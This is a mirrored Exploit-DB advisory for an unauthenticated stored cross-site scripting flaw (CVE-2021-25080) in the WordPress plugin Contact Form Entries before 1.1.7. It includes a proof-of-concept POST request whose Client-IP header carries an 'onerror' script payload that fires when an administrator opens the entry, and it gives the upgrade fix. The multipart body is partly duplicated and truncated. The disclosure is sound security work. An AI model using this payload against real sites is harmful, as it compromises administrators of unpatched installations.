WordPress Plugin Contact Form Entries 1.1.6 – Cross Site Scripting (XSS) (Unauthenticated)

• Exploit Database
• 16 阅读

• 作者： Gaetano Perrone
  日期： 2022-01-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50617/

• # Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) 
  # Date: 22/12/2021
  # Exploit Author: gx1<gaetano.perrone[at]secsi.io>
  # Vulnerability Discovery: Gaetano Perrone
  # Vendor Homepage: https://www.crmperks.com/
  # Software Link: https://wordpress.org/plugins/contact-form-entries/
  # Version: < 1.1.7
  # Tested on: any
  
  # References: 
  
  * https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
  * https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/
  
  # Description: 
  Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting
  
  # Technical Details and Exploitation: 
  
  CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field. 
  When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user: 
  ===============================================================================================================
  public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
  ==============================================================================================================
  The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database. 
  
  
  # Proof Of Concept: 
  
  Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header
  ===============================================================================================================
  POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1
  Host: dsp.com:11080
  Content-Length: 1411
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
  Client-IP: <img src=a onerror=alert(1)>
  
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  
  Content-Disposition: form-data; name="_wpcf7"
  
  10
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_version"
  
  5.3.1
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_locale"
  
  en_US
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_unit_tag"
  
  wpcf7-f10-p13-o1
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_container_post"
  
  Content-Disposition: form-data; name="_wpcf7"
  
  10
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_version"
  
  5.3.1
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_locale"
  
  en_US
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_unit_tag"
  
  wpcf7-f10-p13-o1
  ------WebKitFormBoundaryCuNGXLnhRsdglEAx
  Content-Disposition: form-data; name="_wpcf7_container_post"
  ...
  ===============================================================================================================
  The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP'], ip is injected and saved inside the database. 
  When the administrator clicks on the entry element in the plugin, the XSS is triggered. 
  
  
  # Solution: 
  Upgrade Contact Form Entries to version 1.1.7